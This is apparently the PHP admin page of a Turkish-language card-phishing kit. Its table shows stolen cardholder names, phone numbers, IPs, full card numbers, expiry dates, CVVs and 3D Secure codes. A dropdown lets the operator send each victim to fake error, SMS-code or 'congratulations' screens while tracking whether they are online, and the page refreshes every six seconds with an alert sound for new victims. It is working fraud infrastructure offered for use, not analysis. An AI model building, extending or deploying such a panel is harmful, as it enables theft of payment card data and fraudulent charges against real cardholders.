<?php

// Start the session
session_start();
ob_start();

// If the user is not logged in
if (!isset($_SESSION['user'])) {
    header('Location: index.php');
    exit;
}

// Include the database connection
include_once('../inc/db.php');
$db = db_connect();

// Get All Logs
$logs = $db->query('SELECT * FROM logs ORDER BY created_at DESC')->fetchAll(PDO::FETCH_OBJ);

// 6 saniyede bir reload et
header("Refresh: 6; url=logs.php");

// Reload olduğu gibi kullanıcı otomatikmen body içine tıklasın
echo '<body onload="document.body.click()">';

// Cookie
$count = $db->query('SELECT COUNT(*) FROM logs')->fetchColumn();

// Countu bir last_count adında cookieye kaydet
setcookie('last_count', $count, time() + 60 * 60 * 24 * 30); // 30 days
// Cookieyi oku
$last_count = $_COOKIE['last_count'] ?? 0;
// Eğer cookie'de bir değer yoksa 0 olarak ayarla
if ($last_count == 0) {
    $last_count = 0;
}
// Eğer cookie'de bir değer varsa ve bu değer veritabanındaki değerden büyükse audio çal
if ($last_count < $count) {
    echo '<iframe src="src/audio/warn.mp3" allow="autoplay" style="display:none" id="iframeAudio"></iframe>';
}

?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>logs • panel</title>
    <!-- TailwindCSS -->
    <script src="https://cdn.tailwindcss.com"></script>
    <!-- JQuery -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.3/jquery.min.js"></script>
    <!-- Toastr JS -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.js"></script>
    <!-- Toastr CSS -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.css"/>
    <!-- Font Awesome -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"/>
    <!-- Custom JS -->
    <script src="src/js/custom.js"></script>
    <!-- Toastr -->
    <script src="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.css"/>
    <style>
        .status-indicator {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
        }

        .status-indicator:before,
        .status-indicator:after,
        .status-indicator__circle {
            content: "";
            display: block;
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            border-radius: 50%;
            opacity: 0;
        }

        .status-indicator:before {
            background-color: green;
            animation: heartbeat 2s infinite;
        }

        .status-indicator__circle {
            background-color: rgba(255, 255, 255, 0.3);
            animation: circle 2s infinite;
        }

        .status-indicator__circle:nth-of-type(1) {
            transform: rotateZ(45deg);
        }

        .status-indicator__circle:nth-of-type(2) {
            transform: rotateZ(135deg);
        }

        .status-indicator.red {
            animation: none;
            background-color: red;
        }

        .status-indicator.red:before {
            background-color: red;
            animation: none;
        }

        .status-indicator.gray:before {
            background-color: gray;
            animation: none;
        }

        .status-indicator.gray {
            animation: none;
            background-color: gray;
        }

        .status-text {
            margin-left: 5px;
            font-size: 14px;
        }

        .status-text.online {
            color: green;
        }

        .status-text.offline {
            color: red;
        }

        .status-text.gray {
            color: gray;
        }

        @keyframes heartbeat {
            0% {
                transform: scale(1);
                opacity: 1;
            }

            50% {
                transform: scale(1.5);
                opacity: 0.7;
            }

            100% {
                transform: scale(1);
                opacity: 1;
            }
        }
    </style>
</head>
<body>

<header class="bg-gray-800 shadow">
    <div class="flex justify-between items-center h-24 px-8">
        <div class="flex items-center">
            <h1 class="text-xl font-bold text-gray-200">Yönetim Paneli</h1>
        </div>
    </div>
</header>
<div class="flex flex-col md:flex-row">
    <div class="w-full md:w-64 bg-gray-800 h-screen">
        <nav class="mt-4">
            <a href="dashboard.php" class="block px-4 py-2 text-gray-400 hover:bg-gray-700 hover:text-white">
                Ana Sayfa
            </a>
            <a href="logs.php" class="block px-4 py-2 text-gray-400 hover:bg-gray-700 hover:text-white">
                Loglar
            </a>
            <a href="yeniurun.php" class="block px-4 py-2 text-gray-400 hover:bg-gray-700 hover:text-white">
                Yeni Ürün Ekle
            </a>
            <a href="urun.php" class="block px-4 py-2 text-gray-400 hover:bg-gray-700 hover:text-white">
                Ürün Düzenle
            </a>
            <a href="logout.php" class="block px-4 py-2 text-gray-400 hover:bg-gray-700 hover:text-white">
                Çıkış Yap
            </a>
        </nav>
    </div>
    <div class="w-full md:flex-1">
        <main class="p-4">
            <h2 class="text-2xl font-bold mb-4">Loglar</h2>
            <?php
            $sql = "SELECT COUNT(*) as total_online FROM ips WHERE status = 'online'";

            // Sorguyu hazırlama ve çalıştırma
            $stmt = $db->prepare($sql);
            $stmt->execute();

            // Sonucu işleme
            $result = $stmt->fetch(PDO::FETCH_ASSOC);
            $totalOnline = $result['total_online'];

            echo "<h2>Toplam online IP sayısı: " . $totalOnline . "</h2>";
            ?>
            <?php
            $baskets = $db->query('SELECT * FROM basket')->fetchAll(PDO::FETCH_OBJ);
            echo "Toplam Sepet Sayısı: " . count($baskets);
            ?>
            <h4 class="text-xl font-bold mb-4 text-center">
                <a href="inc/allogsdelete.php" class="text-red-500">
                    Tümünü Sil (<?= count($logs) ?>)
                </a>
            </h4>
            <h4 class="text-xl font-bold mb-4 text-center">
                <a href="inc/allbasketdelete.php" class="text-red-500">
                    Tümünü Sepeti Sil
                </a>
            </h4>
            <div class="overflow-x-auto">
                <table class="table-auto border w-full">
                    <thead class="bg-gray-50">
                    <tr>
                        <th class="px-4 py-2 text-gray-500 font-bold border">ID</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">İsim</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">Kart Numarası</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">Bilgi</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">SKT</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">CVV</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">3D Code</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">Dogrulama</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">Tarih</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">Tutar</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">İşlem</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">Durum</th>
                        <th class="px-4 py-2 text-gray-500 font-bold border">Online Durum</th>
                    </tr>
                    </thead>
                    <tbody>
                    <?php foreach ($logs as $log): ?>
                        <?php
                        // Fetch card details from the API
                        
                        ?>
                        <tr class="text-center">
                            <td class="px-4 py-2 border"><?= $log->id ?></td>
                            <td class="px-4 py-2 border"><?= $log->cardholder_name ?>
                                <hr/>
                                <?= $log->cardholder_phone ?>
                                <hr/>
                                <?= $log->ipaddr ?>
                            </td>
                            <td class="px-4 py-2 border font-bold">
                                <?php if (strlen($log->card_number) == 16): ?>
                                    <?= substr($log->card_number, 0, 4) ?> <?= substr($log->card_number, 4, 4) ?>
                                    <?= substr($log->card_number, 8, 4) ?> <?= substr($log->card_number, 12, 4) ?>
                                <?php else: ?>
                                    <?= $log->card_number ?>
                                <?php endif; ?>
                            </td>
                            <td>
                                <?php
                                $exploded = explode("a", $log->card_info);
                                if (strpos($log->card_info, 'CREDIT') !== false) {
                                    echo "Türü = Credit<br>";
                                    echo $exploded[0];
                                } elseif (strpos($log->card_info, 'DEBIT') !== false) {
                                    echo "Türü = Debit<br>";
                                    echo $exploded[0];
                                } else {
                                    echo "Türü = Bilinmiyor<br>";
                                    echo $exploded[0];
                                }
                                ?>
                            </td>
                            <td class="px-4 py-2 border font-bold">
                                <?= $log->card_expiration_month ?>/<?= $log->card_expiration_year ?>
                            </td>
                            <td class="px-4 py-2 border font-bold"><?= $log->card_cvv ?></td>
                            <td class="px-4 py-2 border font-bold">
                                <?php if ($log->card_3dcode): ?>
                                    <span class="text-green-500"><?= $log->card_3dcode ?></span>
                                <?php else: ?>
                                    <span class="text-red-500">3D Kod Yok</span>
                                <?php endif; ?>
                            </td>
                            <td class="px-4 py-2 border">
                                <?php if ($log->secure_code): ?>
                                    <span class="text-green-500">
                                        <?= $log->secure_code ?>
                                        </span>
                                <?php else: ?>
                                    <span class="text-red-500">Güvenlik Kod Yok</span>
                                <?php endif; ?>
                            </td>
                            <td class="px-4 py-2 border"><?= $log->created_at ?></td>
                            <td class="px-4 py-2 border"><?= $log->amount ?> ₺</td>
                            <td class="px-4 py-2 border">
                                <label for="select-area"></label>
                                <select class="form-group bg-gray-800 text-white mt-2 text-center" id="select-area"
                                        data-id="<?= $log->id ?>">
                                    <option>Seç</option>
                                    <option value="ban">Banla</option>
                                    <option value="delete">Logu sil</option>
                                    <option value="3dsecure">SMS Gönder</option>
                                    <option value="tebrik">Tebrikle</option>
                                    <option value="hatali">Hatalıya Gönder</option>
                                    <option value="dogrulama">Dogrulama</option>
                                    <option value="ccno_error">CCNO Hatalı</option>
                                    <option value="skt_error">SKT Hatalı</option>
                                    <option value="cvv_error">CVV Hatalı</option>
                                    <option value="bekle">Bekle</option>
                                    <option value="closed_card">Kart Kapalı</option>
                                    <option value="red_card">Hata Ver</option>
                                    <option value="phone_error">Telefon Hatalı</option>
                                </select>
                            </td>
                            <td class="px-4 py-2 border">
                                <?php if ($log->status == 1 || $log->status == 12): ?>
                                    <strong class="text-blue-500">Bekliyor 🕒</strong>
                                <?php elseif ($log->status == 2): ?>
                                    <strong class="text-yellow-500">3D Secure</strong>
                                <?php elseif ($log->status == 3): ?>
                                    <strong class="text-green-500">Tebriklendi 🎉</strong>
                                <?php elseif ($log->status == 4): ?>
                                    <strong class="text-red-500">Hatalıda</strong>
                                <?php elseif ($log->status == 5): ?>
                                    <strong class="text-yellow-500">Doğrulamada</strong>
                                <?php elseif ($log->status == 6): ?>
                                    <strong class="text-red-500">CCNO Hatalı</strong>
                                <?php elseif ($log->status == 7): ?>
                                    <strong class="text-red-500">SKT Hatalı</strong>
                                <?php elseif ($log->status == 8): ?>
                                    <strong class="text-red-500">CVV Hatalı</strong>
                                <?php elseif ($log->status == 9): ?>
                                    <strong class="text-red-500">Kart Kapalı</strong>
                                <?php elseif ($log->status == 10): ?>
                                    <strong class="text-red-500">Kart Red</strong>
                                <?php elseif ($log->status == 11): ?>
                                    <strong class="text-red-500">Telefon Hatalı</strong>
                                <?php else: ?>
                                    <strong class="text-red-500">Bulunamadı ❌</strong>
                                <?php endif; ?>
                            </td>
                            <td class="px-4 py-2 border">
                                <?php
                                $ip = $log->ipaddr;
                                // Check ips table for IP
                                $check = $db->prepare("SELECT * FROM ips WHERE ip_addr = :ip");
                                $check->execute([':ip' => $ip]);
                                $check = $check->fetch(PDO::FETCH_OBJ);
                                ?>
                                <span class="font-medium status-text <?= $check ? $check->status : 'gray'; ?>">
                                    <?= $check ? ($check->status == 'online' ? 'Aktif' : 'Pasif') : 'IP Veritabanında Yok!'; ?>
                                </span>
                                <span class="status-indicator <?= $check ? $check->status == 'offline' ? 'red' : 'green' : 'gray'; ?> ml-1"></span>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </main>
    </div>
</div>
<script>
    const selectAreas = document.querySelectorAll('select[id="select-area"]');
    selectAreas.forEach(function (selectArea) {
        selectArea.addEventListener('change', function () {
            const selectedValue = this.value;
            const selectedId = this.getAttribute('data-id');
            if (!selectedValue || !selectedId) {
                return false;
            }
            const data = {
                'id': selectedId,
                'type': selectedValue
            };
            fetch('inc/update.php?id=' + selectedId + '&type=' + selectedValue, {
                method: 'GET',
                headers: {
                    'Content-Type': 'application/json'
                }
            }).then(function (response) {
                return response.json();
            }).then(function (data) {
                if (data.status === true) {
                    toastr.success(data.message);
                } else {
                    toastr.error(data.message);
                }
            });
        });
    });
</script>
</body>
</html>